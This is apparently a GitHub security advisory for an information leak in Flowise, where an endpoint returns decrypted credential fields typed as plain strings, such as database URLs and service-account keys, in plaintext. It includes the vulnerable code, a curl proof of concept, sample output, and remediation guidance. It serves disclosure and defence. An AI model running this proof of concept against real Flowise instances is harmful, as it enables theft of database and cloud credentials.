GHSA-rwrp-9823-p2xq: Infoleak
Summary
The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction.
Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.
Vulnerable Code
Service Layer
packages/server/src/services/credentials/index.ts, getCredentialById() (line 127):
At line 138, the credential's encrypted data is decrypted:
typescript const decryptedCredentialData = await decryptCredentialData( credential.encryptedData, credential.credentialName, appServer.nodesPool.componentCredentials )
At lines 143-146, the decrypted data is attached to the response as plainDataObj:
typescript const returnCredential: ICredentialReturnResponse = { ...credential, plainDataObj: decryptedCredentialData // <-- decrypted secrets in response }
At line 147, only encryptedData is stripped, leaving plainDataObj intact:
typescript const dbResponse: any = omit(returnCredential, ['encryptedData'])
Incomplete Redaction
packages/server/src/utils/index.ts, redactCredentialWithPasswordType() (line 1697):
typescript export const redactCredentialWithPasswordType = ( componentCredentialName: string, decryptedCredentialObj: ICredentialDataDecrypted, componentCredentials: IComponentCredentials ): ICredentialDataDecrypted => { const plainDataObj = cloneDeep(decryptedCredentialObj) for (const cred in plainDataObj) { const inputParam = componentCredentials[componentCredentialName].inputs?.find( (inp) => inp.type === 'password' && inp.name === cred // <-- only 'password' type ) if (inputParam) { plainDataObj[cred] = REDACTEDCREDENTIALVALUE } } return plainDataObj }
This function only redacts fields where inp.type === 'password'. Fields with type: 'string' are returned verbatim, even when they contain secrets.
Credential Definitions Storing Secrets in String-Type Fields
| Credential | Field | Type | Contains | |---|---|---|---| | mongoDBUrlApi | mongoDBConnectUrl | string | mongodb+srv://user:password@host/db | | googleVertexAuth | googleApplicationCredential | string | Full service account JSON with RSA private key | | postgresUrl | postgresUrl | string | postgresql://user:password@host/db | | redisCacheUrlApi | redisUrl | string | redis://user:password@host:port | | awsApi | awsKey | string | AWS Access Key ID | | langfuseApi | langFusePublicKey | string | Langfuse API public key | | httpBasicAuth | basicAuthUsername | string | HTTP Basic Auth username |
There are 60+ credential definitions in packages/components/credentials/, many with sensitive string-type fields.
Proof of Concept
Environment
- Flowise v3.0.13 (flowiseai/flowise:latest Docker image) - Authenticated as admin user via enterprise auth
Steps to Reproduce
1. Start Flowise and log in as any user with credentials:view permission. 2. Create a MongoDB credential with a connection URL containing embedded credentials:
bash curl -X POST "http://TARGET:3000/api/v1/credentials" \ -H "Content-Type: application/json" \ -H "x-request-from: internal" \ -H "Cookie: token=<jwt-token>" \ -d '{ "name": "MongoDB Production", "credentialName": "mongoDBUrlApi", "plainDataObj": { "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb" } }'
3. Retrieve the credential by ID:
bash curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \ -H "x-request-from: internal" \ -H "Cookie: token=<jwt-token>"
Observed Result
The API returns the MongoDB connection URL in full plaintext, including the embedded password:
json { "id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab", "name": "MongoDB Production", "credentialName": "mongoDBUrlApi", "createdDate": "2026-02-07T17:35:29.000Z", "updatedDate": "2026-02-07T17:35:29.000Z", "plainDataObj": { "mongoDBConnectUrl": "mongodb+srv://admin:SuperSecretPassword123@cluster0.abc123.mongodb.net/mydb" } }
The same test with a Google Vertex Auth credential returned the complete service account JSON including the RSA private key in plaintext:
json { "id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56", "name": "Google Vertex Auth", "credentialName": "googleVertexAuth", "plainDataObj": { "googleApplicationCredential": "{\"type\":\"serviceaccount\",\"privatekey\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"clientemail\":\"mybot@my-project-123.iam.gserviceaccount.com\"}", "projectID": "my-project-123" } }
For comparison, an OpenAI API key (where the field is typed as password) was correctly redacted:
json { "plainDataObj": { "openAIApiKey": "FLOWISEBLANK07167752-1a71-43b1-" } }
This confirms the redaction is only applied to password-type fields, leaving string-type fields fully exposed.
Impact
- Database credential theft: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases. - Cloud service account compromise: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud. - AWS key exposure: AWS Access Key IDs stored in string-type fields are exposed, enabling enumeration of active AWS credentials. - Lateral movement: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs. - Multi-user workspace risk: In multi-user deployments, any user with credentials:view permission can harvest all workspace credentials via the API.
Remediation
1. Apply redactCredentialWithPasswordType() to all sensitive credential fields, not just those typed as password. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted. 2. Consider never returning plainDataObj in API responses. The UI should use masked previews (e.g., mongodb+srv://admin:@cluster0...) instead of full values. 3. Re-type sensitive credential fields from string to password in component credential definitions to ensure they are covered by the existing redaction logic. 4. Add a separate secret: true flag to credential field definitions to explicitly mark sensitive fields regardless of their input type.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.3 - Configuration
Re-type sensitive credential fields from `string` to `password` in component credential definitions so they are covered by `redactCredentialWithPasswordType()` which currently only redacts when `inp.type === 'password'` (function located at `packages/server/src/utils/index.ts`, `redactCredentialWithPasswordType()` line 1697). Apply this to fields like `awsApi.awsKey`, `googleVertexAuth.googleApplicationCredential`, `mongoDBUrlApi.mongoDBConnectUrl`, `postgresUrl.postgresUrl`, `redisCacheUrlApi.redisUrl`, and `httpBasicAuth.basicAuthUsername` as shown in the provided table.
Flowise credential definitions credential field types (e.g., component credentials input `type`) = Change sensitive fields from `string` to `password` (or equivalently use `type: 'password'` for all fields containing secrets). - Configuration
Modify the `/api/v1/credentials/:id` implementation so decrypted secrets are not returned in plaintext via the `plainDataObj` field. The material states that at lines 138/143-146 decrypted data is attached to the response as `plainDataObj` and recommends: "Consider never returning `plainDataObj` in API responses" and "UI should use masked previews instead of full values".
Flowise credential response handling (API) API response field inclusion `plainDataObj` = Do not return `plainDataObj` in `GET /api/v1/credentials/:id` responses - Configuration
Add a separate `secret: true` flag to credential field definitions to explicitly mark sensitive fields regardless of input type (the material explicitly recommends this). Ensure the redaction logic covers all fields marked with `secret: true`, not only those where `inp.type === 'password'`.
Flowise credential schema Credential field definition metadata (add sensitivity flag) = Add a `secret: true` flag to credential field definitions for sensitive fields - Compensating control
Ensure the UI uses masked previews (e.g., `mongodb+srv://admin:****@cluster0...`) instead of displaying full plaintext values for sensitive credential fields; the material explicitly recommends masked previews rather than full values.
- Operational
Rotate/replace any exposed secrets because the API can return full plaintext credentials (including Google service account JSON with RSA private key and MongoDB URLs with embedded passwords). The material indicates the impact is full impersonation and database credential theft, implying previously stored/returned secrets may be compromised.
Event History
Frequently Asked Questions
What is the severity of GHSA-rwrp-9823-p2xq?
The severity of GHSA-rwrp-9823-p2xq is medium, with a CVSS score of 6.5.
How do I fix GHSA-rwrp-9823-p2xq?
To fix GHSA-rwrp-9823-p2xq, update to version 3.1.3 or higher of Flowise.
What type of vulnerability does GHSA-rwrp-9823-p2xq represent?
GHSA-rwrp-9823-p2xq represents an information leakage vulnerability.
What part of the Flowise software is affected by GHSA-rwrp-9823-p2xq?
GHSA-rwrp-9823-p2xq affects the GET /api/v1/credentials/:id endpoint in Flowise.
What data may be exposed in GHSA-rwrp-9823-p2xq?
GHSA-rwrp-9823-p2xq may expose sensitive credential data in the plainDataObj field of the API response.